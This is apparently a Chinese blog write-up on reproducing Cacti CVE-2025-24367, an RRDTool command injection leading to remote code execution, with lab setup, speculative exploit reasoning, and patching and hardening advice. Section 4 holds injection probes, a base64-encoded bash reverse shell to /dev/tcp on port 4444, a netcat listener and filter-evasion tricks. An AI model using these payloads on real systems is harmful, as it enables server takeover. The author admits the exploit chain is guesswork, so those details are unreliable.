Cacti CVE-2025-24367漏洞复现:从RRDTool命令注入到远程代码执行

📅 2026/6/29 0:17:43
Cacti CVE-2025-24367漏洞复现:从RRDTool命令注入到远程代码执行
1. 项目概述一次针对Cacti监控系统的深度漏洞复现最近在梳理网络监控系统的安全历史时一个关于Cacti的漏洞引起了我的注意。Cacti作为一款老牌且广泛使用的网络流量监控与图形化工具其稳定性和功能性深受运维人员信赖。然而安全研究团队在2025年初披露了一个编号为CVE-2025-24367的高危漏洞其核心在于Cacti与RRDTool交互的后台参数处理环节存在缺陷可导致远程代码执行。这让我想起了早年一些因参数过滤不严导致的经典漏洞案例决定动手复现一下一方面加深对Cacti架构的理解另一方面也为自己的安全研究积累一手资料。这个漏洞的触发点比较隐蔽涉及后台的cmd.php进程对用户可控参数的传递与拼接最终在调用RRDTool时形成了命令注入。对于正在使用或维护Cacti系统的管理员来说理解这个漏洞的原理和影响至关重要。2. 漏洞原理深度解析从参数传递到命令注入要理解CVE-2025-24367我们需要先拆解Cacti的数据流。Cacti通常通过SNMP或脚本从网络设备采集性能数据如接口流量、CPU利用率这些数据被存储在RRDRound Robin Database文件中。RRDTool则是创建和更新这些RRD文件、并从中生成图表的命令行工具。Cacti的后台轮询引擎通常是cmd.php或spine负责定时执行数据采集任务并调用RRDTool命令来更新数据库和生成图形。2.1 漏洞触发路径分析漏洞的根源在于cmd.php或类似轮询器在处理某些来自前端的参数时未能进行充分的过滤和转义。根据公开的漏洞信息攻击者可以通过精心构造的HTTP请求向Cacti的Web界面注入恶意参数。这些参数可能关联到“数据源”、“图形模板”或“设备”的配置项。当后台轮询进程读取这些被污染的配置并试图构建调用RRDTool的命令行字符串时恶意参数就被直接拼接到了命令中。一个简化的危险代码模式可能如下此为概念性还原非真实代码// 假设从数据库或请求中获取了一个用户可控的变量 $hostname $hostname $_POST[hostname]; // 或来自其他未过滤的输入源 // 构建用于更新RRD文件的RRDTool命令 $rrdtool_cmd “/usr/bin/rrdtool update /path/to/data.rrd N:$value --hostname ” . $hostname; // 通过system()或类似函数执行 system($rrdtool_cmd);如果$hostname变量被攻击者控制为127.0.0.1; id那么最终执行的命令就变成了/usr/bin/rrdtool update ... --hostname 127.0.0.1; id。分号;在Unix/Linux shell中是一个命令分隔符这会导致id命令被独立执行从而实现了命令注入。2.2 RRDTool参数与注入点RRDTool本身是一个功能复杂的工具支持大量命令行参数如--title,--vertical-label,--start,--end, 以及各种DEF、CDEF、GPRINT等绘图指令。Cacti在动态生成这些命令时会从数据库的模板和数据中填充许多字段。漏洞的关键在于某些本应被当作“数据”如图表标题、主机名描述的字段在从Web界面存入数据库或从数据库读出拼接到命令行的过程中没有被正确地识别和转义为“纯文本参数”而是被直接当成了命令行的一部分进行了解析。注意在实际的CVE-2025-24367漏洞中注入点可能非常具体例如与“最大OID”数值处理、特定的数据输入字段或设备管理功能相关。攻击者需要找到一处前端输入能最终流向cmd.php构建的RRDTool命令行的路径。2.3 与相关热词的关联在搜索资料时我看到了一个热词cacti th[1] warning: max oids is out of range with value of 1000. resettin。这看起来像是一条Cacti或相关组件的日志或警告信息。“max oids”通常指SNMP查询中一次请求所能获取的最大OID数量。这个警告提示值‘1000’超出了范围并被重置。这可能与漏洞的触发条件有关联攻击者通过前端将max_oids参数设置为一个异常值如一个包含恶意命令的字符串当后台进程处理这个参数并尝试构建包含它的命令时触发了注入。当然这只是基于线索的合理推测具体漏洞利用链需要分析补丁或利用代码才能完全确定。另一个热词提到了“php cgi windows平台远程代码执行漏洞”这虽然也是一个远程代码执行漏洞但属于不同的攻击向量PHP-CGI参数解析问题与Cacti的这个RRDTool参数注入漏洞在原理和利用方式上均有显著区别不应混淆。3. 复现环境搭建与准备为了安全、可控地复现这个漏洞我们需要搭建一个隔离的测试环境。强烈警告以下所有操作必须在完全隔离的虚拟机或实验网络中进行严禁对任何生产环境或未经授权的系统进行测试。3.1 环境组件选择我选择使用VirtualBox配合Vagrant快速搭建一个Linux测试机这样环境可以随时销毁和重建非常方便。操作系统选择Ubuntu 20.04 LTS。这是一个长期支持版本软件包较全且与Cacti的兼容性好。Cacti版本为了复现漏洞需要安装存在漏洞的Cacti版本。根据CVE-2025-24367的描述它影响特定版本范围。我们需要找到该版本范围内的一个稳定版进行安装。例如假设漏洞影响1.2.x系列的某个区间我们可以选择安装1.2.16如果它在受影响范围内。我会从Cacti的官方GitHub仓库的Release页面下载对应的源码包。Web服务器与PHP使用经典的LAMP栈。安装Apache2、PHP版本需匹配Cacti的要求例如PHP 7.4及必要的扩展如php-snmp,php-ldap,php-gd,php-mysql等。数据库使用MySQL或MariaDB。Cacti使用数据库存储所有配置、用户数据和模板。RRDTool安装RRDTool及其PHP绑定。这是漏洞利用的核心组件。Net-SNMP用于模拟被监控设备提供SNMP数据。3.2 详细安装步骤记录以下是在Ubuntu 20.04上搭建漏洞环境的步骤摘要# 1. 更新系统并安装基础工具 sudo apt update sudo apt upgrade -y sudo apt install -y vim curl wget git unzip # 2. 安装LAMP环境 sudo apt install -y apache2 mariadb-server mariadb-client sudo apt install -y php7.4 libapache2-mod-php7.4 php7.4-mysql php7.4-snmp php7.4-ldap php7.4-gd php7.4-mbstring php7.4-xml php7.4-curl # 3. 安装RRDTool sudo apt install -y rrdtool librrds-perl php7.4-rrd # 4. 安装Net-SNMP用于模拟设备 sudo apt install -y snmp snmpd # 5. 配置MariaDB sudo mysql_secure_installation # 按提示设置root密码并移除测试数据库、匿名用户等。 # 创建Cacti数据库和用户 sudo mysql -u root -p # 在MySQL提示符下执行 CREATE DATABASE cacti CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; CREATE USER ‘cactiuser’‘localhost’ IDENTIFIED BY ‘YourStrongPasswordHere’; GRANT ALL PRIVILEGES ON cacti.* TO ‘cactiuser’‘localhost’; FLUSH PRIVILEGES; EXIT; # 6. 下载并部署存在漏洞的Cacti版本 # 假设我们从存档站点下载1.2.16版本 wget https://github.com/Cacti/cacti/archive/refs/tags/release/1.2.16.zip -O cacti-1.2.16.zip unzip cacti-1.2.16.zip sudo mv cacti-release-1.2.16 /var/www/html/cacti sudo chown -R www-data:www-data /var/www/html/cacti # 7. 导入Cacti数据库架构 mysql -u cactiuser -p cacti /var/www/html/cacti/cacti.sql # 8. 配置Cacti连接数据库 sudo cp /var/www/html/cacti/include/config.php.dist /var/www/html/cacti/include/config.php sudo vim /var/www/html/cacti/include/config.php # 修改以下关键配置 # $database_type ‘mysql’; # $database_default ‘cacti’; # $database_hostname ‘localhost’; # $database_username ‘cactiuser’; # $database_password ‘YourStrongPasswordHere’; # 9. 配置Apache虚拟主机如果默认站点可用也可直接配置 sudo a2enmod rewrite sudo systemctl restart apache2 # 10. 通过Web界面完成安装 # 浏览器访问 http://your-test-ip/cacti/ # 按照安装向导操作选择“全新安装”数据库信息填写上面配置的。 # 设置管理员账号密码。安装完成后需要配置Cacti的数据采集。进入控制台 - 配置 - 设置 - 路径确保RRDTool的路径如/usr/bin/rrdtool正确。然后配置一个轮询周期如每5分钟并确保cmd.php可以通过Web或cron正常执行。实操心得在安装过程中最常见的坑是文件权限和PHP扩展。务必确保/var/www/html/cacti目录及其子目录对www-data用户可写特别是log和rra目录。另外php-snmp和php7.4-rrd这两个扩展对于Cacti正常运行至关重要缺少它们会导致图形无法生成或数据采集失败。4. 漏洞复现过程与利用链构造在环境就绪后我们进入核心的复现环节。由于完整的漏洞利用代码Exploit可能尚未公开或属于敏感信息这里我将基于公开的漏洞原理描述一种可能的利用链构造思路和验证方法。再次强调这仅用于安全研究学习。4.1 信息收集与攻击面分析首先我们需要以管理员或具有相应权限的用户身份登录Cacti。漏洞的触发可能需要特定的权限例如管理“设备”、“数据查询”或“图形模板”的权限。识别输入点遍历Cacti的Web界面寻找所有可以输入文本、数字参数的表单。重点关注设备管理中的“描述”、“主机名”、“SNMP社区名/版本”。数据源管理中的“名称”、“数据输入路径”。图形模板中的“标题”、“单位标签”。任何与“最大值”、“最小值”、“范围”相关的设置字段联想到“max oids”热词。观察参数流向通过修改某个参数如设备描述保存后观察rra/目录下新生成的RRD文件或者查看Cacti的日志文件cacti/log/cacti.log和系统命令历史如果允许看我们输入的内容是否以某种形式出现在了RRDTool的命令行中。一个更直接的方法是临时给cmd.php添加调试输出但需要修改源码。4.2 构造试探性Payload假设我们怀疑“设备”的“描述”字段在生成图表标题时会被不安全地拼接。我们可以尝试注入一个简单的测试命令看是否能执行。Payload设计我们的目标是在RRDTool命令中注入一个子命令。由于RRDTool命令参数通常用空格分隔用引号包裹我们需要找到一个突破引号包围的方法。或者如果参数在拼接时根本没有被引号包裹那就更简单。试探性Payload用于Unix/Linuxtest$(echotestvuln)或test;echotestvuln;这个Payload试图在参数中插入命令替换$(...)或命令分隔符;并执行一个无害的echo命令。注入与触发编辑一个已有设备或创建新设备。在“描述”字段填入MyDevice$(echotestvuln/tmp/cacti_test.txt)保存设备更改。等待下一次轮询周期或手动在命令行执行php /var/www/html/cacti/cmd.php让cmd.php处理这个设备并生成/更新RRD图表。验证检查/tmp/目录下是否出现了cacti_test.txt文件其内容是否为testvuln。查看Cacti日志看是否有相关的错误或异常信息这可能会暴露命令执行的情况。4.3 利用链深化与反向Shell获取如果试探性Payload成功证明存在命令注入。下一步就是构造一个获取反向Shell的Payload以完全控制服务器。Payload编码与规避由于输入可能受到长度、字符过滤如空格、分号、反引号被过滤的限制我们需要对Payload进行编码和变形。使用其他命令分隔符除了;还可以尝试、、|、||、%0a换行符URL编码。使用Base64编码如果某些字符被过滤可以尝试用Base64编码命令然后解码执行。例如要执行bash -i /dev/tcp/攻击机IP/4444 01可以将其编码然后构造Payload为echoYmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQo|base64-d|bash利用环境变量通过${IFS}代替空格等。构造最终利用请求找到确切的注入参数和HTTP请求方式GET/POST。可能需要拦截修改“保存设备”或“更新数据源”的请求在特定参数中插入编码后的反向Shell命令。开启监听在攻击机Kali Linux或另一台测试机上使用Netcat监听一个端口nc -lvnp 4444。触发漏洞提交恶意请求触发Cacti后台轮询。如果成功将在Netcat监听端收到一个来自Cacti服务器的反向Shell连接。注意事项在实际复现中漏洞利用可能比上述描述更复杂。注入点可能不在前端Web参数而是需要通过某种方式污染数据库中的特定字段例如通过导入恶意模板文件。此外Payload的构造需要非常小心要考虑到Cacti内部对参数的转义处理、RRDTool命令行解析器的特性以及系统Shell的环境。一次不成功的注入尝试可能会在Cacti日志中留下明显痕迹甚至导致轮询进程崩溃。5. 漏洞修复方案与加固建议成功复现漏洞后我们的目的不仅是验证其危害更重要的是理解如何修复和防御。对于Cacti管理员和安全研究人员以下是必须采取的措施。5.1 官方补丁升级这是最根本、最有效的解决方案。Cacti官方在披露漏洞后会发布安全补丁或新版本来修复此问题。确认受影响版本立即查看Cacti官方安全公告确认自己使用的版本是否在CVE-2025-24367的影响范围内。备份在升级前务必完整备份以下内容Cacti的整个安装目录/var/www/html/cacti/。Cacti的数据库使用mysqldump命令。RRD数据文件/var/www/html/cacti/rra/目录这些文件是历史监控数据的核心无法通过备份数据库恢复。执行升级按照Cacti官方的升级指南进行操作。通常步骤是下载最新版本的安全补丁或完整安装包。停止数据轮询可以停止cron任务或设置Cacti为维护模式。用新文件覆盖旧文件注意保留config.php和rra/目录。运行数据库升级脚本cli/upgrade_database.php --force。恢复文件权限。重新启动轮询。验证升级后应尝试使用复现时的步骤使用无害的测试Payload验证漏洞是否已被修复。同时检查所有监控功能是否恢复正常。5.2 临时缓解措施如果因故无法立即升级可以考虑以下临时缓解措施以降低风险最小权限原则确保运行Cacti的Web服务器进程如www-data和PHP-FPM/PHP-CGI进程在操作系统上拥有尽可能少的权限。避免使用root用户运行。将cmd.php或spine的执行权限限制在必要的最小范围。输入验证与过滤虽然难以在应用层直接修补但可以在Web服务器层如ModSecurity或网络层如WAF部署规则对发送到Cacti的请求进行严格的输入验证过滤常见的命令注入字符如;、、|、反引号、$()等和异常的参数值。文件系统限制使用SELinux、AppArmor或容器化技术如Docker来限制Cacti进程可以访问的文件系统和系统调用范围。网络隔离将Cacti服务器部署在内网严格限制外部访问。仅允许管理IP地址访问其Web管理界面。5.3 安全加固最佳实践除了修复特定漏洞还应遵循以下通用安全实践来加固Cacti部署定期更新订阅Cacti的安全邮件列表或关注其GitHub仓库确保及时获取安全更新信息。审计与监控定期审查Cacti的日志文件cacti/log/cacti.log寻找异常命令执行或数据库错误。监控服务器上来自Cacti进程的异常网络连接或子进程创建行为。组件安全不仅更新Cacti本身还要确保底层操作系统、PHP、Apache/Nginx、MySQL/MariaDB以及RRDTool等所有组件都保持最新状态修复已知漏洞。禁用不必要的功能在Cacti设置中关闭不需要的数据收集方法、插件或功能模块减少攻击面。6. 从漏洞复现中获得的经验与反思完成这次CVE-2025-24367的复现研究让我对运维工具的安全有了更深一层的认识。这类漏洞的典型模式是一个功能强大、备受信赖的“老牌”软件其核心业务逻辑涉及频繁调用外部系统命令如RRDTool、系统工具等而在参数拼接环节由于历史代码、复杂的数据流或对用户输入信任过度导致了注入漏洞。对于运维人员来说教训是深刻的任何来自用户界面、API甚至配置文件的数据在进入命令执行、数据库查询或系统调用前都必须视为不可信的必须进行严格的验证、过滤和转义。对于Cacti而言所有从前端表单、URL参数、导入文件进入系统的数据在最终被escapeshellarg()或escapeshellcmd()等函数处理前都不应该直接拼接到命令行中。从防御者视角除了及时打补丁建立有效的安全监控体系至关重要。例如在服务器上部署HIDS主机入侵检测系统对/usr/bin/rrdtool、php等进程的调用参数进行审计一旦发现参数中包含异常字符或模式如连续的管道符、分号、反引号立即告警。最后这次复现也再次印证了安全研究的“动手”价值。仅仅阅读漏洞公告远不如自己搭建环境、跟踪数据流、构造Payload来得理解透彻。这个过程不仅能帮你真正看懂漏洞更能让你在评估自身系统风险、制定应急响应计划时做到心中有数手中有策。对于企业安全团队定期对内部使用的关键开源组件如Cacti, Zabbix, Nagios等进行类似的漏洞复现和影响分析应该成为一项常规的演练科目。